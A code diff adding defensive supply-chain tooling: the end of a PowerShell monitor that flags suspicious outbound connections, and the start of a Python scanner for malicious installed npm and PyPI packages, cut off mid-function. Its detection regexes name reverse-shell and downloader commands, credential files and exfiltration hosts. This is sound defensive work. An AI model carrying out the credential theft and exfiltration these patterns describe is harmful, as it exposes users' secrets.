+
+function Write-Info([string]$msg) { if (-not $Quiet) { [Console]::Error.WriteLine($msg) } }
+
+function Show-Help {
+    # Emit the first comment block (the contract) as help text.
+    Get-Content $MyInvocation.PSCommandPath -TotalCount 28 |
+        Where-Object { $_ -match '^#' -and $_ -notmatch '^#!' } |
+        ForEach-Object { $_ -replace '^# ?', '' }
+}
+
+if ($Help) { Show-Help; exit $EXIT_OK }
+if ($Rest) {
+    if ($Rest -contains '--help' -or $Rest -contains '-h') { Show-Help; exit $EXIT_OK }
+    [Console]::Error.WriteLine("ERROR: unknown argument(s): $($Rest -join ' ') (try --help)")
+    exit $EXIT_USAGE
+}
+$modes = @(@($Sysmon, $Status, $Watch, $InstallTask, $UninstallTask, [bool]$InputJson) | Where-Object { $_ })
+if ($modes.Count -gt 1) {
+    [Console]::Error.WriteLine('ERROR: -Sysmon/-Status/-Watch/-InstallTask/-UninstallTask/-InputJson are mutually exclusive')
+    exit $EXIT_USAGE
+}
+if (-not $LogPath) { $LogPath = Join-Path $env:LOCALAPPDATA 'supply-chain-defense\phone-home.jsonl' }
+
+# ── IOC catalog ──────────────────────────────────────────────────────────────
+$iocPath = if ($Ioc) { $Ioc } else { Join-Path (Split-Path -Parent $ScriptDir) 'assets\network-ioc.json' }
+$iocDomains = @(); $iocIps = @()
+if (Test-Path $iocPath) {
+    try {
+        $cat = Get-Content $iocPath -Raw | ConvertFrom-Json
+        foreach ($e in $cat.entries) {
+            if ($e.PSObject.Properties['domains']) { $iocDomains += @($e.domains | ForEach-Object { @{ value = $_.ToLower(); id = $e.id } }) }
+            if ($e.PSObject.Properties['ips'])     { $iocIps     += @($e.ips     | ForEach-Object { @{ value = $_; id = $e.id } }) }
+        }
+    } catch {
+        [Console]::Error.WriteLine("ERROR: IOC catalog unparseable: $iocPath — $($_.Exception.Message)")
+        if ($Json) { Write-Output (@{ error = @{ code = 'VALIDATION'; message = "IOC catalog unparseable: $iocPath" } } | ConvertTo-Json -Compress) }
+        exit 4
+    }
+} elseif ($Ioc) {
+    [Console]::Error.WriteLine("ERROR: IOC catalog not found: $iocPath")
+    exit $EXIT_NOT_FOUND
+}
+
+# ── classification constants ────────────────────────────────────────────────
+$Interpreters = @('node', 'node.exe', 'python', 'python.exe', 'pythonw.exe', 'python3', 'deno', 'deno.exe', 'bun', 'bun.exe')
+$PackageManagers = @('npm', 'npm.cmd', 'npx', 'npx.cmd', 'pnpm', 'pnpm.cmd', 'yarn', 'yarn.cmd', 'bun', 'bun.exe',
+                     'pip', 'pip.exe', 'pip3.exe', 'uv', 'uv.exe', 'cargo', 'cargo.exe', 'composer', 'composer.bat',
+                     'gem', 'gem.cmd', 'corepack', 'corepack.cmd')
+$SuspiciousPathRe = '(?i)\\node_modules\\|\\AppData\\Local\\Temp\\|\\AppData\\Roaming\\npm-cache\\|\\Windows\\Temp\\'
+
+function Test-PrivateIp([string]$ip) {
+    if ($ip -match '^(127\.|10\.|192\.168\.|169\.254\.|0\.|255\.)' ) { return $true }
+    if ($ip -match '^172\.(1[6-9]|2\d|3[01])\.') { return $true }
+    if ($ip -match '^100\.(6[4-9]|[7-9]\d|1[01]\d|12[0-7])\.') { return $true }  # CGNAT / Tailscale 100.64.0.0/10
+    if ($ip -in @('::1', '::') -or $ip -match '^(fe80:|fc|fd)') { return $true }
+    return $false
+}
+
+$sigCache = @{}
+function Get-SignedStatus([string]$path) {
+    if (-not $path -or -not (Test-Path $path)) { return 'unknown' }
+    if ($sigCache.ContainsKey($path)) { return $sigCache[$path] }
+    $s = try { (Get-AuthenticodeSignature -FilePath $path -ErrorAction Stop).Status.ToString() } catch { 'unknown' }
+    $v = if ($s -eq 'Valid') { 'signed' } elseif ($s -eq 'unknown') { 'unknown' } else { 'unsigned' }
+    $sigCache[$path] = $v
+    return $v
+}
+
+$rdapCache = @{}
+function Get-DomainAgeDays([string]$hostname) {
+    # Best-effort RDAP registration-age lookup; naive registrable-domain = last two labels.
+    if (-not $hostname -or $hostname -notmatch '\.') { return $null }
+    $labels = $hostname.ToLower().Split('.')
+    $domain = ($labels | Select-Object -Last 2) -join '.'
+    if ($rdapCache.ContainsKey($domain)) { return $rdapCache[$domain] }
+    $age = $null
+    try {
+        $r = Invoke-RestMethod -Uri "https://rdap.org/domain/$domain" -TimeoutSec 5
+        $reg = $r.events | Where-Object { $_.eventAction -eq 'registration' } | Select-Object -First 1
+        if ($reg) { $age = [int]((Get-Date).ToUniversalTime() - [datetime]$reg.eventDate).TotalDays }
+    } catch { Write-Info "  [rdap unavailable] $domain — domain age unknown (advisory only)" }
+    $rdapCache[$domain] = $age
+    return $age
+}
+
+# ── rules engine ─────────────────────────────────────────────────────────────
+function Get-Findings($conn) {
+    # $conn: processName, path, pid, parentChain (string[]), remoteAddress,
+    #        remotePort, remoteHost, signed
+    $f = [System.Collections.Generic.List[object]]::new()
+    $name = ($conn.processName ?? '').ToLower()
+    $path = $conn.path ?? ''
+    $remote = "$($conn.remoteAddress):$($conn.remotePort)"
+    $isInterp = $Interpreters -contains $name
+    $parentHit = @($conn.parentChain | Where-Object { $PackageManagers -contains ($_ ?? '').ToLower() })
+    $isPrivate = Test-PrivateIp $conn.remoteAddress
+
+    $add = { param($sev, $rule, $detail)
+        $f.Add([pscustomobject]@{
+            time = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')
+            severity = $sev; rule = $rule
+            process = $conn.processName; pid = $conn.pid; path = $path
+            parent_chain = @($conn.parentChain)
+            remote = $remote; remote_host = $conn.remoteHost
+            signed = $conn.signed; detail = $detail
+        })
+    }
+
+    # IOC endpoints match even on private/odd destinations
+    $hostLower = ($conn.remoteHost ?? '').ToLower()
+    foreach ($d in $iocDomains) {
+        if ($hostLower -and ($hostLower -eq $d.value -or $hostLower.EndsWith('.' + $d.value))) {
+            & $add 'high' 'ioc-endpoint' "destination matches IOC catalog entry $($d.id) ($($d.value))"
+        }
+    }
+    foreach ($i in $iocIps) {
+        if ($conn.remoteAddress -eq $i.value) { & $add 'high' 'ioc-endpoint' "destination IP matches IOC catalog entry $($i.id)" }
+    }
+    if ($isPrivate) { return $f }   # loopback/LAN: IOC check only
+
+    if ($path -match $SuspiciousPathRe) {
+        & $add 'high' 'suspicious-path' 'outbound connection from a binary under node_modules / Temp'
+    }
+    if ($parentHit.Count -gt 0) {
+        & $add 'high' 'package-manager-child' "spawned by package manager: $($parentHit -join ' -> ') (lifecycle-script behaviour)"
+    }
+    if ($isInterp -and -not $conn.remoteHost) {
+        & $add 'medium' 'interpreter-raw-ip' 'interpreter connecting to a raw public IP with no DNS name in cache'
+    } elseif ($isInterp) {
+        & $add 'low' 'interpreter-outbound' "interpreter outbound to $($conn.remoteHost) (informational; review if unexpected)"
+    }
+    if ($conn.signed -eq 'unsigned' -and $path -match '(?i)\\AppData\\|\\Downloads\\|\\node_modules\\') {
+        & $add 'medium' 'unsigned-userland' 'unsigned binary in a user-writable path making outbound connections'
+    }
+    if ($CheckDomainAge -and $conn.remoteHost) {
+        $age = Get-DomainAgeDays $conn.remoteHost
+        if ($null -ne $age -and $age -lt $DomainAgeDays) {
+            & $add 'high' 'young-domain' "domain registered ${age}d ago (< ${DomainAgeDays}d)"
+        }
+    }
+    return $f
+}
+
+# ── capture sources ──────────────────────────────────────────────────────────
+function Get-DnsMap {
+    $m = @{}
+    try {
+        foreach ($e in (Get-DnsClientCache -ErrorAction Stop | Where-Object { $_.Type -in 1, 28 -and $_.Data })) {
+            if (-not $m.ContainsKey($e.Data)) { $m[$e.Data] = $e.Entry.TrimEnd('.') }
+        }
+    } catch { }
+    return $m
+}
+
+function Get-ProcMap {
+    $m = @{}
+    foreach ($p in (Get-CimInstance Win32_Process -Property ProcessId, ParentProcessId, Name, ExecutablePath)) {
+        $m[[int]$p.ProcessId] = $p
+    }
+    return $m
+}
+
+function Get-ParentChain([int]$processId, $procMap) {
+    $chain = [System.Collections.Generic.List[string]]::new()
+    $cur = $processId; $seen = @{}
+    for ($i = 0; $i -lt 6; $i++) {
+        if (-not $procMap.ContainsKey($cur) -or $seen.ContainsKey($cur)) { break }
+        $seen[$cur] = $true
+        $ppid = [int]$procMap[$cur].ParentProcessId
+        if (-not $procMap.ContainsKey($ppid) -or $ppid -eq $cur) { break }
+        $chain.Add($procMap[$ppid].Name)
+        $cur = $ppid
+    }
+    return $chain
+}
+
+function Get-SnapshotConnections {
+    $procMap = Get-ProcMap
+    $dnsMap = Get-DnsMap
+    $out = [System.Collections.Generic.List[object]]::new()
+    $tcp = Get-NetTCPConnection -State Established, SynSent -ErrorAction SilentlyContinue |
+        Where-Object { $_.RemoteAddress -and $_.RemoteAddress -notin @('0.0.0.0', '::', '127.0.0.1', '::1') }
+    $dedupe = @{}
+    foreach ($c in $tcp) {
+        $procId = [int]$c.OwningProcess
+        $key = "$procId|$($c.RemoteAddress)|$($c.RemotePort)"
+        if ($dedupe.ContainsKey($key)) { continue }
+        $dedupe[$key] = $true
+        $p = $procMap[$procId]
+        $path = if ($p) { $p.ExecutablePath } else { '' }
+        $out.Add([pscustomobject]@{
+            processName = if ($p) { $p.Name } else { "pid:$procId" }
+            path = $path; pid = $procId
+            parentChain = @(Get-ParentChain $procId $procMap)
+            remoteAddress = $c.RemoteAddress; remotePort = [int]$c.RemotePort
+            remoteHost = $dnsMap[$c.RemoteAddress]
+            signed = Get-SignedStatus $path
+        })
+    }
+    return $out
+}
+
+function Test-SysmonPresent {
+    try { $null = Get-WinEvent -ListLog 'Microsoft-Windows-Sysmon/Operational' -ErrorAction Stop; return $true } catch { return $false }
+}
+
+function Get-SysmonConnections {
+    $procMap = Get-ProcMap
+    $out = [System.Collections.Generic.List[object]]::new()
+    $events = Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational'; Id = 3 } -MaxEvents $MaxEvents -ErrorAction SilentlyContinue
+    foreach ($ev in ($events ?? @())) {
+        $x = [xml]$ev.ToXml()
+        $d = @{}; foreach ($n in $x.Event.EventData.Data) { $d[$n.Name] = $n.'#text' }
+        if ($d['Initiated'] -ne 'true') { continue }
+        $procId = [int]$d['ProcessId']
+        $hostName = $d['DestinationHostname']
+        $out.Add([pscustomobject]@{
+            processName = Split-Path -Leaf ($d['Image'] ?? '')
+            path = $d['Image']; pid = $procId
+            parentChain = @(Get-ParentChain $procId $procMap)
+            remoteAddress = $d['DestinationIp']; remotePort = [int]$d['DestinationPort']
+            remoteHost = if ($hostName) { $hostName.TrimEnd('.') } else { $null }
+            signed = Get-SignedStatus $d['Image']
+        })
+    }
+    return $out
+}
+
+# ── output ───────────────────────────────────────────────────────────────────
+function Write-Report($findings, [string]$source, [int]$connCount) {
+    $counted = @($findings | Where-Object { $_.severity -in @('high', 'medium') -or ($Strict -and $_.severity -eq 'low') })
+    if ($Json) {
+        $env = @{
+            data = @{ findings = @($findings); source = $source; connections_seen = $connCount }
+            meta = @{ count = @($findings).Count; flagged = $counted.Count; strict = [bool]$Strict
+                      schema = $SCHEMA; generated = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') }
+        }
+        Write-Output ($env | ConvertTo-Json -Depth 6)
+    } else {
+        foreach ($f in $findings) {
+            Write-Output ("{0}`t{1}`t{2}({3})`t{4}`t{5}" -f $f.severity, $f.rule, $f.process, $f.pid, $f.remote, $f.detail)
+        }
+    }
+    Write-Info ''
+    Write-Info "Source: $source — $connCount outbound connection(s) examined, $(@($findings).Count) finding(s), $($counted.Count) at medium+ severity."
+    if ($counted.Count -gt 0) {
+        Write-Info 'Triage: confirm the process is something you launched; check parent chain; if it is a'
+        Write-Info 'package-manager child or IOC hit, treat as an incident — isolate, rotate credentials,'
+        Write-Info 'run integrity-audit.sh + exposure-check.py. See references/phone-home-monitoring.md.'
+    }
+    if ($counted.Count -gt 0) { exit $EXIT_FINDING } else { exit $EXIT_OK }
+}
+
+# ── log ring buffer (2-file ring: .jsonl + .jsonl.1) ─────────────────────────
+function Write-FindingLog($finding) {
+    $dir = Split-Path -Parent $LogPath
+    if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null }
+    if ((Test-Path $LogPath) -and ((Get-Item $LogPath).Length -gt $LogMaxMB * 1MB)) {
+        Move-Item -Force $LogPath "$LogPath.1"
+    }
+    Add-Content -Path $LogPath -Value ($finding | ConvertTo-Json -Compress -Depth 6)
+}
+
+# ── modes ────────────────────────────────────────────────────────────────────
+if ($Status) {
+    $sysmonOk = Test-SysmonPresent
+    $wfp = 'unknown (auditpol requires admin)'
+    try {
+        $a = auditpol /get /subcategory:'Filtering Platform Connection' 2>$null
+        if ($LASTEXITCODE -eq 0 -and $a) { $wfp = (($a | Select-String 'Filtering Platform') -replace '\s{2,}', ' ').ToString().Trim() }
+    } catch { }
+    $fwLog = try { @(Get-NetFirewallProfile | Where-Object { $_.LogAllowed -eq 'True' }).Count } catch { 'unknown' }
+    $task = try { [bool](Get-ScheduledTask -TaskName $TASK_NAME -ErrorAction SilentlyContinue) } catch { $false }
+    $rows = [ordered]@{
+        sysmon_eid3        = if ($sysmonOk) { 'available (preferred source — use -Sysmon)' } else { 'not installed (see references/phone-home-monitoring.md to wire it)' }
+        wfp_audit_5156     = $wfp
+        firewall_log_allowed_profiles = $fwLog
+        tcp_table_polling  = 'available (default source)'
+        scheduled_task     = if ($task) { "installed ($TASK_NAME)" } else { 'not installed (-InstallTask)' }
+        ioc_catalog        = "$iocPath ($(@($iocDomains).Count) domains, $(@($iocIps).Count) ips)"
+        log_path           = $LogPath
+    }
+    if ($Json) {
+        Write-Output (@{ data = $rows; meta = @{ count = $rows.Count; schema = $SCHEMA } } | ConvertTo-Json -Depth 4)
+    } else {
+        foreach ($k in $rows.Keys) { Write-Output ("{0}`t{1}" -f $k, $rows[$k]) }
+    }
+    exit $EXIT_OK
+}
+
+if ($InstallTask) {
+    $pwshExe = (Get-Command pwsh).Source
+    $scriptPath = $MyInvocation.MyCommand.Path
+    $action = New-ScheduledTaskAction -Execute $pwshExe `
+        -Argument "-NoProfile -WindowStyle Hidden -File `"$scriptPath`" -Watch -Quiet -IntervalSeconds $IntervalSeconds -LogPath `"$LogPath`""
+    $trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
+    Register-ScheduledTask -TaskName $TASK_NAME -Action $action -Trigger $trigger -Force | Out-Null
+    Write-Info "Scheduled task '$TASK_NAME' registered (at logon, current user)."
+    Write-Info "Findings ring-buffer: $LogPath (max ${LogMaxMB}MB x2). Start now: Start-ScheduledTask -TaskName $TASK_NAME"
+    exit $EXIT_OK
+}
+if ($UninstallTask) {
+    Unregister-ScheduledTask -TaskName $TASK_NAME -Confirm:$false -ErrorAction SilentlyContinue
+    Write-Info "Scheduled task '$TASK_NAME' removed (if it existed)."
+    exit $EXIT_OK
+}
+
+if ($InputJson) {
+    if (-not (Test-Path $InputJson)) {
+        [Console]::Error.WriteLine("ERROR: input file not found: $InputJson")
+        exit $EXIT_NOT_FOUND
+    }
+    $fixture = Get-Content $InputJson -Raw | ConvertFrom-Json
+    $conns = @($fixture.connections)
+    $findings = [System.Collections.Generic.List[object]]::new()
+    foreach ($c in $conns) { foreach ($f in (Get-Findings $c)) { $findings.Add($f) } }
+    Write-Report $findings 'replay' $conns.Count
+}
+
+if ($Sysmon) {
+    if (-not (Test-SysmonPresent)) {
+        Write-Info 'ERROR: Sysmon is not installed — Event ID 3 (network connections) unavailable.'
+        Write-Info 'Install it with a curated config (the preferred continuous source):'
+        Write-Info '  winget install Microsoft.Sysinternals.Sysmon'
+        Write-Info '  curl -o sysmonconfig.xml https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml'
+        Write-Info '  sysmon64 -accepteula -i sysmonconfig.xml    # elevated prompt'
+        Write-Info 'See references/phone-home-monitoring.md for the full evaluation.'
+        exit $EXIT_MISSING_DEP
+    }
+    Write-Info "=== phone-home monitor (Sysmon EID 3, last $MaxEvents events) ==="
+    $conns = Get-SysmonConnections
+    $findings = [System.Collections.Generic.List[object]]::new()
+    foreach ($c in $conns) { foreach ($f in (Get-Findings $c)) { $findings.Add($f) } }
+    Write-Report $findings 'sysmon-eid3' $conns.Count
+}
+
+if ($Watch) {
+    Write-Info "=== phone-home monitor (watch mode, every ${IntervalSeconds}s$(if ($DurationMinutes) { ", for ${DurationMinutes}m" })) ==="
+    Write-Info "Findings log: $LogPath"
+    $seen = @{}; $total = 0
+    $deadline = if ($DurationMinutes -gt 0) { (Get-Date).AddMinutes($DurationMinutes) } else { [datetime]::MaxValue }
+    while ((Get-Date) -lt $deadline) {
+        foreach ($c in (Get-SnapshotConnections)) {
+            $key = "$($c.pid)|$($c.remoteAddress)|$($c.remotePort)"
+            if ($seen.ContainsKey($key)) { continue }
+            $seen[$key] = $true
+            foreach ($f in (Get-Findings $c)) {
+                if ($f.severity -in @('high', 'medium') -or $Strict) {
+                    $total++
+                    Write-FindingLog $f
+                    Write-Info ("[{0}] {1} {2} {3}({4}) -> {5} : {6}" -f $f.time, $f.severity.ToUpper(), $f.rule, $f.process, $f.pid, $f.remote, $f.detail)
+                }
+            }
+        }
+        Start-Sleep -Seconds $IntervalSeconds
+    }
+    Write-Info "Watch ended: $total finding(s) logged to $LogPath"
+    if ($total -gt 0) { exit $EXIT_FINDING } else { exit $EXIT_OK }
+}
+
+# default: one snapshot
+Write-Info '=== phone-home monitor (TCP-table snapshot) ==='
+if (-not (Test-SysmonPresent)) {
+    Write-Info 'note: Sysmon not installed — polling misses short-lived connections. Prefer -Sysmon once wired.'
+}
+$conns = Get-SnapshotConnections
+$findings = [System.Collections.Generic.List[object]]::new()
+foreach ($c in $conns) { foreach ($f in (Get-Findings $c)) { $findings.Add($f) } }
+Write-Report $findings 'tcp-table' $conns.Count

+ 454 - 0
skills/supply-chain-defense/scripts/postinstall-audit.py

@@ -0,0 +1,454 @@
+#!/usr/bin/env python3
+"""Behavioural scan of packages ALREADY on disk — the post-install gap.
+
+The pre-install gate (socket wrapper, preinstall-check cooldown) can miss a
+poisoned release; this scans what actually landed. Walks node_modules trees and
+Python site-packages under --root dirs and flags behavioural red flags per
+package: lifecycle scripts that spawn shells/downloaders, eval-of-base64 and
+obfuscation markers, reads of credential paths (.npmrc, .aws, .claude, browser
+profiles), exfil endpoints (webhook/paste/raw-IP URLs) paired with env
+harvesting, and files modified after the package was installed (tamper).
+Incremental: per-package fingerprint cache means a daily re-run only rescans
+changed trees. Optional --deep confirms flagged npm packages with GuardDog when
+installed (never a false-clean: absent engine = loud skip). Optional --live
+checks each flagged npm version still exists on the registry (an unpublished
+version is a takedown IOC); network errors exit 7, never fake a finding.
+
+Usage: postinstall-audit.py [--root DIR]... [--json] [--findings-only]
+                            [--cache PATH|--no-cache] [--min-severity LEVEL]
+                            [--deep] [--live] [--max-file-kb N] [--max-files N]
+
+Input:   --root dirs (default: cwd)
+Output:  stdout = findings report (JSON envelope with --json)
+Stderr:  progress, summary, errors
+Exit:    0 clean, 2 usage, 3 root-not-found, 5 missing-dep (--deep w/o engine
+         is a loud SKIP not an error), 7 registry unavailable (--live only),
+         10 FINDINGS at/above --min-severity
+
+Examples:
+  postinstall-audit.py --root ~/code
+  postinstall-audit.py --root X:/Forge --root X:/Lab --json | jq '.data.findings[]'
+  postinstall-audit.py --root . --min-severity high --findings-only
+  postinstall-audit.py --root . --deep          # confirm flags with GuardDog
+  postinstall-audit.py --root . --live          # registry-unpublished check
+"""
+import argparse
+import json
+import os
+import re
+import shutil
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+# Windows consoles default to cp1252 — non-ASCII in output crashes or mangles.
+for _stream in (sys.stdout, sys.stderr):
+    _reconfig = getattr(_stream, "reconfigure", None)
+    if _reconfig:
+        _reconfig(encoding="utf-8", errors="replace")
+
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_MISSING_DEP, EXIT_UNAVAILABLE, EXIT_FINDINGS = 0, 2, 3, 5, 7, 10
+SKIP_DIRS = {".git", ".hg", ".svn", "worktrees", "__pycache__"}
+SEVERITIES = ("low", "medium", "high")
+SCHEMA = "claude-mods.supply-chain-defense.postinstall-audit/v1"
+
+# Lifecycle script verbs that download or spawn a shell — the Shai-Hulud entry.
+LIFECYCLE_KEYS = ("preinstall", "install", "postinstall", "prepare")
+LIFECYCLE_RED = re.compile(
+    r"curl |wget |iwr |invoke-webrequest|invoke-expression|certutil|bitsadmin"
+    r"|powershell|pwsh|\| ?sh\b|\| ?bash\b|bash -c|sh -c|cmd /c|cmd\.exe"
+    r"|node -e|python -c|base64|/dev/tcp|nc -e|\bcurl$|\bwget$", re.I)
+# Packages whose *benign* lifecycle scripts are expected (presence != finding;
+# red-flag content in them still fires).
+LIFECYCLE_KNOWN = {
+    "esbuild", "sharp", "puppeteer", "playwright", "playwright-core", "husky",
+    "core-js", "cypress", "fsevents", "node-pty", "@lydell/node-pty", "protobufjs",
+    "bcrypt", "sqlite3", "better-sqlite3", "canvas", "node-sass", "swc",
+}
+
+# Content patterns, grouped. A finding needs either one "solo" pattern or a
+# combo (cred+net, env+net, eval+b64) — singles like a long minified line are
+# too noisy on real node_modules to report alone.
+PAT_EVAL = re.compile(r"\beval\s*\(|new Function\s*\(|Function\s*\(\s*['\"]", re.I)
+PAT_B64 = re.compile(r"atob\s*\(|b64decode|Buffer\.from\s*\([^)]{1,200}['\"]base64['\"]|base64\.decode", re.I)
+PAT_CRED = re.compile(
+    r"\.npmrc|\.pypirc|\.aws[/\\]credentials|\.config[/\\]gcloud|\.kube[/\\]config"
+    r"|\.ssh[/\\]id_|\.claude[/\\]|\.claude\.json|claude_desktop_config"
+    r"|Login Data|Local State|keychain|wallet\.dat|\.docker[/\\]config\.json", re.I)
+PAT_NET = re.compile(
+    r"webhook\.site|discord(app)?\.com/api/webhooks|api\.telegram\.org"
+    r"|pastebin\.com|hastebin|transfer\.sh|requestbin|burpcollaborator|oast\."
+    r"|interactsh|https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", re.I)
+PAT_ENV = re.compile(r"JSON\.stringify\s*\(\s*process\.env\s*\)|Object\.(entries|keys)\s*\(\s*process\.env\s*\)"
+                     r"|dict\s*\(\s*os\.environ\s*\)|os\.environ\.items\s*\(\)", re.I)
+PAT_PERSIST = re.compile(r"settings\.json|\.claude[/\\]settings|mcpServers|\.bashrc|\.zshrc"
+                         r"|Microsoft\\Windows\\CurrentVersion\\Run", re.I)
+PAT_OBFUS = re.compile(r"_0x[0-9a-f]{4,}|\\x[0-9a-f]{2}(\\x[0-9a-f]{2}){15,}|marshal\.loads|zlib\.decompress\s*\(\s*base64", re.I)
+SRC_EXT = {".js", ".cjs", ".mjs", ".ts", ".py", ".sh", ".ps1"}
+
+
+def log(msg):
+    print(msg, file=sys.stderr)
+
+
+def die(msg, code):
+    log(f"ERROR: {msg}")
+    sys.exit(code)
+
+
+def read_text_tolerant(path: Path) -> str:
+    raw = path.read_bytes()
+    if raw[:2] in (b"\xff\xfe", b"\xfe\xff"):
+        return raw.decode("utf-16", errors="replace")
+    return raw.decode("utf-8-sig", errors="replace")
+
+
+def default_cache() -> Path:
+    base = os.environ.get("LOCALAPPDATA") or os.environ.get("XDG_CACHE_HOME") or str(Path.home() / ".cache")
+    return Path(base) / "supply-chain-defense" / "postinstall-audit-cache.json"
+
+
+def load_cache(path: Path) -> dict:
+    try:
+        return json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return {}
+
+
+def save_cache(path: Path, cache: dict):
+    try:
+        path.parent.mkdir(parents=True, exist_ok=True)
+        tmp = path.with_suffix(".tmp")
+        tmp.write_text(json.dumps(cache), encoding="utf-8")
+        tmp.replace(path)
+    except OSError as e:
+        log(f"[warn] could not save cache: {e}")
+
+
+def iter_package_dirs(roots):
+    """Yield ('npm', pkg_dir, install_marker_mtime) / ('pypi', dist_info_dir, None)."""
+    for root in roots:
+        base = Path(root).expanduser()
+        if not base.exists():
+            log(f"[warn] root does not exist: {base}")
+            continue
+        for dirpath, dirnames, _ in os.walk(base):
+            dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
+            p = Path(dirpath)
+            if p.name == "node_modules":
+                marker = None
+                mk = p / ".package-lock.json"
+                if mk.is_file():
+                    marker = mk.stat().st_mtime
+                for child in sorted(p.iterdir()):
+                    if not child.is_dir() or child.name.startswith("."):
+                        continue
+                    if child.name.startswith("@"):
+                        for scoped in sorted(child.iterdir()):
+                            if scoped.is_dir() and (scoped / "package.json").is_file():
+                                yield "npm", scoped, marker
+                    elif (child / "package.json").is_file():
+                        yield "npm", child, marker
+                dirnames[:] = []  # don't recurse into node_modules ourselves
+            elif p.name == "site-packages":
+                for child in sorted(p.iterdir()):
+                    if child.is_dir() and child.name.endswith(".dist-info"):
+                        yield "pypi", child, None
+                dirnames[:] = []
+
+
+def fingerprint(pkg_dir: Path, max_files: int):
+    """Cheap stat-walk: (n_files, total_size, max_mtime). No content reads."""
+    n = size = 0
+    max_mtime = 0.0
+    src = []
+    for dirpath, dirnames, filenames in os.walk(pkg_dir):
+        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS and d != "node_modules"]
+        for f in filenames:
+            fp = Path(dirpath) / f
+            try:
+                st = fp.stat()
+            except OSError:
+                continue
+            n += 1
+            size += st.st_size
+            max_mtime = max(max_mtime, st.st_mtime)
+            if fp.suffix.lower() in SRC_EXT and len(src) < max_files:
+                src.append((fp, st))
+    return {"files": n, "size": size, "max_mtime": round(max_mtime, 2)}, src
+
+
+def scan_npm_manifest(pkg_dir: Path):
+    """Returns (name, version, lifecycle_findings)."""
+    findings = []
+    try:
+        doc = json.loads(read_text_tolerant(pkg_dir / "package.json"))
+    except (OSError, json.JSONDecodeError):
+        return pkg_dir.name, "?", findings
+    name = doc.get("name") or pkg_dir.name
+    version = str(doc.get("version") or "?")
+    scripts = doc.get("scripts") or {}
+    for key in LIFECYCLE_KEYS:
+        cmd = scripts.get(key)
+        if not cmd:
+            continue
+        if LIFECYCLE_RED.search(str(cmd)):
+            findings.append(("high", "lifecycle-shell",
+                             f"{key}: {str(cmd)[:160]}"))
+        elif name not in LIFECYCLE_KNOWN:
+            findings.append(("low", "lifecycle-present", f"{key}: {str(cmd)[:120]}"))
+    return name, version, findings
+
+
+def scan_pypi_dist_info(dist_dir: Path):
+    name = ver = "?"
+    try:
+        for line in read_text_tolerant(dist_dir / "METADATA").splitlines():
+            if line.startswith("Name:"):
+                name = line.split(":", 1)[1].strip()
+            elif line.startswith("Version:"):
+                ver = line.split(":", 1)[1].strip()
+            if name != "?" and ver != "?":
+                break
+    except OSError:
+        pass
+    # the actual package dirs live beside the dist-info
+    pkg_dirs = []
+    top = dist_dir / "top_level.txt"
+    if top.is_file():
+        try:
+            for mod in read_text_tolerant(top).split():
+                cand = dist_dir.parent / mod
+                if cand.is_dir():
+                    pkg_dirs.append(cand)
+        except OSError:
+            pass
+    return name, ver, pkg_dirs
+
+
+def scan_sources(src_files, max_kb: int):
+    """Combo-scored content scan. Returns list of (severity, kind, detail)."""
+    findings = []
+    hits = {"cred": [], "net": [], "env": [], "persist": [], "obfus": []}
+    eval_b64_files = []  # eval AND base64 in the SAME small non-minified file
+    for fp, st in src_files:
+        if st.st_size > max_kb * 1024 or st.st_size == 0:
+            continue
+        try:
+            text = fp.read_bytes().decode("utf-8", errors="replace")
+        except OSError:
+            continue
+        minified = fp.name.endswith(".min.js") or (
+            text.count("\n") < 5 and len(text) > 5000)
+        rel = fp.name
+        if PAT_CRED.search(text):
+            hits["cred"].append(rel)
+        if PAT_NET.search(text):
+            hits["net"].append(rel)
+        if PAT_ENV.search(text):
+            hits["env"].append(rel)
+        if PAT_PERSIST.search(text):
+            hits["persist"].append(rel)
+        if not minified and PAT_OBFUS.search(text):
+            hits["obfus"].append(rel)
+        # eval+base64 is rampant in legit bundlers/source-maps/wasm loaders, so it
+        # is only weakly suspicious: require co-occurrence in ONE small, non-minified
+        # file and report it low (below the default medium gate — visible with
+        # --min-severity low or --json, not in routine runs).
+        if not minified and st.st_size < 50 * 1024 and PAT_EVAL.search(text) and PAT_B64.search(text):
+            eval_b64_files.append(rel)
+    def first(k):
+        return ", ".join(sorted(set(hits[k]))[:3])
+    if hits["cred"] and hits["net"]:
+        findings.append(("high", "cred-exfil",
+                         f"credential-path read ({first('cred')}) + exfil endpoint ({first('net')})"))
+    if hits["env"] and hits["net"]:
+        findings.append(("high", "env-exfil",
+                         f"env harvesting ({first('env')}) + exfil endpoint ({first('net')})"))
+    if eval_b64_files:
+        findings.append(("low", "eval-base64",
+                         f"eval/Function + base64 decode in same file ({', '.join(sorted(set(eval_b64_files))[:3])})"))
+    if hits["obfus"]:
+        findings.append(("medium", "obfuscation",
+                         f"obfuscation markers in non-minified source ({first('obfus')})"))
+    if hits["persist"] and (hits["net"] or eval_b64_files):
+        findings.append(("medium", "persistence-write",
+                         f"agent/editor settings reference + payload marker ({first('persist')})"))
+    if hits["cred"] and not hits["net"]:
+        findings.append(("low", "cred-path-reference",
+                         f"references credential paths ({first('cred')})"))
+    return findings
+
+
+def tamper_check(fp_info: dict, marker_mtime):
+    """Files modified well after install time = post-install tamper signal."""
+    if not marker_mtime:
+        return []
+    grace = 120  # npm touches files during extract; allow 2 min
+    if fp_info["max_mtime"] > marker_mtime + grace:
+        when = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime(fp_info["max_mtime"]))
+        return [("medium", "modified-after-install",
+                 f"newest file mtime {when} postdates install marker by "
+                 f"{int(fp_info['max_mtime'] - marker_mtime)}s")]
+    return []
+
+
+def deep_confirm(pkg_dir: Path, eco: str):
+    """GuardDog confirmation for a flagged package. Loud skip if absent."""
